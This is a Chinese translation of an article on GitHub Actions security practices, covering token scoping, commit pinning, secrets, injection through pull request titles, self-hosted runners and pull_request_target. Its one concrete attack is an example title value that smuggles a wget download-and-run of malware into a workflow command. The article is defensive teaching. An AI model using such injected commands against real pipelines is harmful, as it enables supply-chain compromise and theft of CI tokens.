GitHub Actions是一個越來越受歡迎的CI/CD平臺。它們能夠在保持易訪問性的同時,自動化開發周期的幾乎所有任務。不過,由于它們經常會調用外部代碼,這會給GitHub Action的工作流帶來各種風險隱患,因此無論我們是否維護的是開源項目,都需要采取一些必要的安全措施。下圖是我為您整理的一張保護GitHub Actions的速查表。我據此將和您開展深入討論。
一、什么是GitHub Actions?
GitHub Actions是GitHub的一種CI/CD服務。它可以作為從開發系統轉化到生產系統的一種工作流機制。GitHub事件不但能夠觸發各種action(如:提交拉取請求、開啟問題、合并拉取請求等),而且可以執行任何命令。例如,它們可用于格式化代碼、拉取請求,將問題的注釋與另一個工單系統的注釋相同步,為新的問題添加適當的標簽,以及觸發全面的云部署。
通常,該工作流由一到多個作業組成。這些作業在自己的虛擬機或容器(運行程序,runner)中運行,并能執行一到多個步驟。其中,每一個步驟都可以是一個shell腳本或action。其實,它是專門為GitHub CI生態系統打包的一段可重用的代碼。
由于GitHub托管著數以百萬計的開源項目,這些項目可以通過拉取請求,進行分叉(fork)和貢獻(contribute),因此GitHub Actions的安全性對于防范供應鏈攻擊來說是至關重要的。下面,我們來討論一些值得借鑒的優秀實踐:
二、設置信任憑據的最小范圍
讓我們將這個適用于工作流中所有信任憑據的一般性安全原則,運用到特定的GITHUB_TOKEN上。該令牌會授予每個運行程序與存儲庫交互的權限。由于它是臨時的,因此其有效性僅以工作流的開始和結束為界。
默認情況下,該令牌的權限為“允許”(適用于常見范圍的讀與寫)或“受限”(適用于常見范圍的默認無權限)。由于無論在哪種情況下,分叉的存儲庫最多只有一個讀的訪問(read-access)權限,因此無論您選擇哪種選項,都應該僅授予GITHUB_TOKEN執行工作流或作業所需的最低權限。為此,我們需要在工作流中,使用“權限”鍵,來配置工作流或作業所需的最低權限,以實現對GitHub Actions權限的細粒度控制。
當然,該原則也適用于環境變量。為了限制環境變量的作用范圍,您也應該始終在step級別去聲明它們,以避免其他階段對其進行任意訪問。
三、使用特定的操作版本標簽
通常,當人們在GitHub上創建自己的工作流時,他們會直接使用由他人創建的Actions。例如,幾乎所有的工作流程都會從如下步驟開始:
而多數人可能認為這只是在獲取自己的代碼,沒什么危險的。不過,讓我們來研究一下它是如何檢查目標代碼的:以“uses”開頭的一行會將代碼通過“actions/checkout”操作,從GitHub存儲庫獲取到,并推送給運行著工作流的服務器。如果您仔細閱讀其源代碼,就會意識到:盲目地相信其所有行為是極其風險的。各種第三方action會與您的代碼進行交互,并且可能在服務器上運行。對此,我們往往缺乏在后臺監控各種發布更新、以及執行更改等實際操作的概念。
讓我們來設想這樣一種威脅場景:您需要使用一個第三方的linter,來檢查自己代碼上的格式問題。為此,您決定直接使用來自GitHub Actions Marketplace的一個action,而無需自行安裝、配置和運行linter。在完成試運行后,您可以在存儲庫中設置一個使用它的工作流:
而在該操作被使用了數月之后,您可能突然遇到了API密鑰被盜或濫用的問題。經過調查,該第三方linter action的作者,最近向GitHub Marketplace推送了一個更新,將其重新標記為“v1”,其中便包含了將環境變量發送到某個隨機網址的代碼。因此,每個使用“someperson/linter-action@v1”的人,都會在他們的工作流中運行該惡意代碼。
對于沒有人會關注其使用的第三方action是否有更新的情況,我們該如何實施安全保護呢?GitHub為我們提供了一種方法:您可以通過提交哈希,而非使用來自存儲庫的標簽,來運行某項操作。例如,當您將容器鏡像自動推送到Docker Hub時,可以在工作流中使用如下代碼,來進行身份驗證:
左右滑動查看完整代碼
通過在驗證Docker Hub時,準確地指定待提交的內容,我們可以保證工作流中的action具有一致性,而不必擔心其發生任何變化。
四、不要使用純文本的密碼
雖然這是一個常識,但還是需要提一下:請既不要在源代碼中,也不要在CI工作流文件里,以純文本的形式存儲API的密鑰或密碼。作為一項服務,GitHub Secrets可以讓您以安全的方式,存儲自己的密鑰,并在工作流中使用各種${{}}括號,來引用它們,以確保將所有純文本的機密信息,都排除在GitHub Actions之外。
當然,您也可以使用免費的ggshield-action,來掃描源代碼中是否存在著密碼。
五、不要引用您無法控制的值
正如前文所述,GitHub允許您使用各種${{}}括號,來引用GitHub環境中的機密信息。不過,這些可引用的信息不一定是由您設置的。這也是許多開源存儲庫的常見錯誤源。下面的工作流便是我一個錯誤:
其“lint”命令包含了來自拉取請求的一些輸入,其中含有獲取由提交請求的人所設置的拉取請求的標題。例如,假設有人向此存儲庫提交了如下拉取請求:
a" && wget https://example.com/malware && ./malware && echo "Title
那么,如下YAML工作流會便會被評估:
在本例中,攻擊者下載并執行了惡意軟件,進而竊取了運行程序的GITHUB_TOKEN。而根據工作流的運行上下文,令牌可能具有對原始存儲庫的寫入權限。這就意味著攻擊者完全可以修改存儲庫里內容(也包括發布)。
另一個例子則是從CI中竊取敏感數據,即收集可用于橫向移動的密鑰。由于拉取請求標題并非外部各方設置的唯一GitHub環境值,因此拉取請求正文、以及發布的標題和正文也是不受信任的。當您在GitHub Actions的步驟中引用此類變量時,應確保能夠管控它們的來源。
為了安全起見,您有兩種選擇:
1.使用Action而不是內聯腳本
Action將使用(不可信的)上下文值作為參數,來判斷注入攻擊:
2.使用中間環境變量
如果您需要執行一個腳本,則應該設置一個中間環境變量:
請注意,我們通過對變量添加雙引號,來避免其他類型的利用,從而起到了額外的預防效果。
六、僅在可信的代碼上運行工作流
無論您是托管自己的action運行程序,還是使用GitHub的運行程序,當工作流運行時,您都需要謹慎地授予潛在的運行代碼、訪問機密信息、以及在運行程序環境中執行的權限。
如果您維護一個開源的存儲庫,那么很可能會收到一些從未接觸過的定期拉取請求。對此,您應該多問自己:“在啟動工作流時,正在運行的是什么代碼?這些代碼從何而來?”
讓我們考慮一個潛在的威脅場景。假設您是GitHub上某個組織的維護者,并且手頭有一個設置了自動化測試的開源項目。某日,有人向該存儲庫提交了一個包含有新特性和一些測試用例的拉取請求。您不知道的是,其中一個測試用例并不包含測試代碼,而是會在服務器上安裝并運行某個“挖礦”應用。那么,一旦您的CI啟動了所有的測試代碼,您原有的運行程序就會受到影響。
實際上,GitHub可以通過默認設置,來保護我們免受此類攻擊。也就是說,GitHub能夠不允許個人帳戶在公共存儲庫上使用自托管運行程序,而僅對組織不設限。
針對此類場景的另一種保護措施是,針對來自拉取請求的代碼,確定何時運行GitHub Actions。默認情況下,來自首次貢獻者(contributor)的拉取請求,需要維護者的批準,才能開始CI測試。而作為維護者,您有責任確保在批準工作流之前,仔細閱讀所有提交的代碼。當然,如果有人在提交帶有惡意代碼的第二個請求之前,事先提交了一個小的拉取請求。那么由于他并非首次貢獻者,其所有的配置工作流都會自動運行。對此,GitHub可以被設置為要求所有外部合作者的每一次請求都需要獲得批準。
七、加固Action運行程序
在設置CI工作流期間,您可以在每個工作流中指定其應該運行的位置。GitHub提供了一些針對Ubuntu、Mac和Windows等不同的運行程序。當您使用GitHub的運行程序時,它們必須作為一個干凈的VM被啟動。當然,您也可以選擇將自己的服務器配置為運行程序,來執行自己的工作流。
注意,請千萬不要將自托管的運行程序用于公共存儲庫。這無疑允許了任何人分叉您的存儲庫,進而提交惡意拉取請求,逃離沙箱,以及訪問網絡。如果您確實需要設置自托管運行程序的話,請注意如下方面:
1.您自己應該是唯一能夠配置服務器上運行的工作流的人。
2.使用專用的非特權帳戶(例如:github-runner等非管理員的權限)來啟動運行程序,并執行工作流。同時,您應該確保它無權修改其工作空間之外的任何內容(除非在工作流中使用sudo),并且只允許它執行所屬的特定文件。
3.通過設置臨時且被隔離的負載,來執行諸如Kubernetes Pod或容器等作業。據此,當工作流完成時,虛擬機就會被銷毀,以避免各種潛在的風險。
4.使用日志記錄和安全監控工具。如果您有一個安全團隊,可通過使用EDR代理、或類似Linux的Sysmon之類的工具,去收集運行程序服務器上的進程日志,并通過檢測規則,在發生可疑情況時發出警告。
在典型的SolarWinds供應鏈攻擊中,攻擊者曾位于SolarWinds所構建的服務器內,并使用其訪問權限將惡意代碼注入到了Orion平臺上。如果我們能夠對運行程序的可疑活動采取有效的監控的話,就能夠確保代碼的完整性,防范構建過程被篡改,以及攻擊者使用的命令與控制(command-and-control,C2)、及各種持久性技術。
八、請小心使用pull_request_target觸發器
在維護開源的存儲庫時,您還可能碰到被稱為pwn requests的漏洞。惡意拉取請求會利用該漏洞,在特定情況下截獲秘密信息、甚至篡改發布。因此,如果您在GitHub Actions中使用了“on: pull_request_target”事件,請不要使用如下代碼內容:
也就是說,當有人分叉您的存儲庫,并打開一個拉取請求時,就會涉及到兩個存儲庫:一個是在您控制下的目標庫,以及他人的分叉存儲庫(fork repo)。
通常,當有人提交拉取請求時,我們會使用“pull_request”觸發事件,來觸發工作流。有了它,被觸發的工作流就只會在提交者的分叉存儲庫的上下文中運行。而且,被提供的GITHUB_TOKEN將沒有寫入的權限,更無法訪問到機密信息。
雖然這些都是合理的默認設置,但在某些情況下,它們可能有點過于受限了。應開源社區的要求,GitHub引入了“pull_request_target”事件。它與前者之間的區別并不大,但存在著一些安全隱患。例如:由于pull_request_target觸發器是在您的目標存儲庫的上下文中運行的,那么工作流便可以訪問到您的機密信息,并寫入您的代碼。一旦工作流運行那些不受控制的代碼,就會變得非常危險。這也就是為什么檢查分叉存儲庫的代碼,就需要解讀工作流,以分析出任何類型的遠程代碼執行的原因。
九、漏洞示例
為了證明這一點,讓我們來看下面易受攻擊的GitHub Action:
該代碼滿足了兩個條件:工作流觸發器運行在目標存儲庫上,作業的第一步是簽出拉取請求代碼的HEAD(即,最后一次提交)。因此,該代碼將會在來自拉取請求的工作流的其余部分被使用到,并且會打開各種被利用的威脅向量。
例如,為了安裝依賴項而執行的、看似無害的“run: pip install ...”,此時便是一個潛在的向量。畢竟只要通過修改setup.py,便可在pip啟動之前,執行某個“預安裝”的腳本。而且,由于腳本中可以使用各種shell命令,因此攻擊者可以輕松地啟動反向shell,或獲取惡意負載。該負載旨在對原始存儲庫的源代碼執行修改、以及重新標記(re-tagging)發布等操作。
這可以說是為發起供應鏈攻擊準備的“完美”漏洞,畢竟開源項目的所有用戶都可能在不知情的情況下受到此類攻擊。當然,這只是一個攻擊向量。而通過更改some_command二進制文件,來竊取SOME_SECRET環境變量,可能要容易得多。
注意,不僅是上述shell命令在此類配置中容易受攻擊,就算工作流僅依賴于action,由于各種action會在后臺執行本地的腳本,因此代碼注入仍然極容易發生。這就是為什么我們強烈建議您不要使用pull_request_target的原因。即便您使用了,也千萬不要盲目地簽出那些不受信任的拉取請求代碼。
十、首選使用OpenID Connect訪問云資源
OpenID Connect(OIDC)允許您將工作流請求并使用來自云服務提供商的短期訪問令牌,而無需將那些長期有效的密鑰復制到GitHub中。通過配置,您還能受益于來自云提供商的細粒度訪問控制,以及更好的自動化密鑰管理。
為此,您需要首先在云提供商處建立OIDC的信任關系,以控制誰可以訪問什么資源。然后,在GitHub上,OIDC提供者將被配置為自動生成包含聲明的JWT令牌。該聲明允許工作流對云服務提供者進行身份驗證。一旦這些聲明被驗證通過,一個基于角色范疇的、短期訪問令牌就會被發送回工作流,以方便后期執行。
十一、結論
綜上所述,作為開源社區最受歡迎的CI/CD工具之一,GitHub Actions可被用于公共或私有存儲庫的各項操作。不過,從安全的角度,您應該小心設置與之相關工作流的方式,以避免密鑰、工件、以及供應鏈受到攻擊。
在此,我將上面討論過的GitHub Actions的安全實踐總結如下:
1.使用最小范圍的信任憑據,并且確保GITHUB_TOKEN配置了最低權限,去運行您的作業。
2.使用特定的版本標簽,以免受到第三方action的供應鏈危害。
3.切勿以明文形式存儲任何API密鑰、令牌或密碼,請使用ggshield-action在您的CI工作流中通過修復,來實施密鑰檢測。
4.避免直接引用易受惡意拉取請求注入的代碼、不可控的值,請使用帶有參數的action,或直接將值綁定到環境變量中。
5.在使用自托管運行程序時,應格外小心,最好不要將此選項用于開源存儲庫,或啟用要求所有外部提交都獲批才能運行的工作流。讓運行程序使用虛擬機,并將其配置為在最短時間內,使用低權限用戶,并配備充分的日志記錄和監控工具。
6.鑒于惡意的拉取請求可能會濫用您的構建步驟、密鑰,進而破壞您的環境,因此在使用“pull_request_target event”時,請不要簽出外部拉取請求。
7.盡量使用OpenID Connect,而非長期有效的密鑰,來實現工作流與云端資源的交互。
原文鏈接:?https://dzone.com/articles/github-actions-security-best-practices-cheat-sheet??
譯者介紹
陳峻 (Julian Chen),51CTO社區編輯,具有十多年的IT項目實施經驗,善于對內外部資源與風險實施管控,專注傳播網絡與信息安全知識與經驗。